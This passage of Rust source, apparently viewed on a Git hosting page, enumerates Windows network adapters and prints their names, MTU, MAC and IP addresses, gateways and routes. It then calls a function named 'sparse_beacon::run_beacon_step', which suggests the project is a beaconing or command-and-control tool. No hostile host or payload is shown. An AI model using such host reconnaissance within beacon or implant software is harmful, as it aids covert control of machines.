if err2 != 0 {
|
||||
eprintln!("Error code received for second one: {err2}");
|
||||
Err(std::io::Error::last_os_error())?;
|
||||
}
|
||||
|
||||
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
|
||||
|
||||
fn pwstr_to_string(pwstr: *mut u16) -> String {
|
||||
use std::ffi::OsString;
|
||||
use std::os::windows::ffi::OsStringExt;
|
||||
use std::slice;
|
||||
|
||||
if pwstr.is_null() {
|
||||
return String::new();
|
||||
}
|
||||
|
||||
// Find the length of the null-terminated UTF-16 string
|
||||
let mut len = 0;
|
||||
unsafe {
|
||||
while *pwstr.add(len) != 0 {
|
||||
len += 1;
|
||||
}
|
||||
|
||||
// Convert UTF-16 slice to Rust String
|
||||
let wide_slice = slice::from_raw_parts(pwstr, len);
|
||||
OsString::from_wide(wide_slice)
|
||||
.to_string_lossy()
|
||||
.into_owned()
|
||||
}
|
||||
}
|
||||
|
||||
while !current_address.is_null() {
|
||||
println!("-----");
|
||||
println!(
|
||||
"Name: {:?} ({:?})",
|
||||
CStr::from_ptr((*current_address).AdapterName.0 as *const _),
|
||||
pwstr_to_string((*current_address).FriendlyName.0)
|
||||
);
|
||||
|
||||
println!("Mtu: {:?}", (*current_address).Mtu);
|
||||
println!(
|
||||
"Physical address: {:X?}",
|
||||
&(*current_address).PhysicalAddress
|
||||
[..(*current_address).PhysicalAddressLength as usize]
|
||||
);
|
||||
|
||||
println!("IP addresses:");
|
||||
let mut unicast_address = (*current_address).FirstUnicastAddress;
|
||||
|
||||
while !unicast_address.is_null() {
|
||||
let address = (*(*unicast_address).Address.lpSockaddr).sa_data;
|
||||
|
||||
println!(
|
||||
"\tIP address: {}.{}.{}.{}/{}",
|
||||
address[2] as u8,
|
||||
address[3] as u8,
|
||||
address[4] as u8,
|
||||
address[5] as u8,
|
||||
(*unicast_address).OnLinkPrefixLength
|
||||
);
|
||||
|
||||
unicast_address = (*unicast_address).Next;
|
||||
}
|
||||
|
||||
println!("Gateways:");
|
||||
let mut gateway = (*current_address).FirstGatewayAddress;
|
||||
|
||||
while !gateway.is_null() {
|
||||
let address = (*(*gateway).Address.lpSockaddr).sa_data;
|
||||
|
||||
println!(
|
||||
"\tIP address: {}.{}.{}.{}",
|
||||
address[2] as u8, address[3] as u8, address[4] as u8, address[5] as u8
|
||||
);
|
||||
|
||||
gateway = (*gateway).Next;
|
||||
}
|
||||
|
||||
println!("Routes:");
|
||||
let mut route = (*current_address).FirstPrefix;
|
||||
|
||||
while !route.is_null() {
|
||||
let address = (*(*route).Address.lpSockaddr).sa_data;
|
||||
|
||||
println!(
|
||||
"\tRoute: {}.{}.{}.{}/{}",
|
||||
address[2] as u8,
|
||||
address[3] as u8,
|
||||
address[4] as u8,
|
||||
address[5] as u8,
|
||||
(*route).PrefixLength
|
||||
);
|
||||
|
||||
route = (*route).Next;
|
||||
}
|
||||
|
||||
println!("\n");
|
||||
|
||||
current_address = (*current_address).Next;
|
||||
}
|
||||
|
||||
drop(address_buffer);
|
||||
}
|
||||
_ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user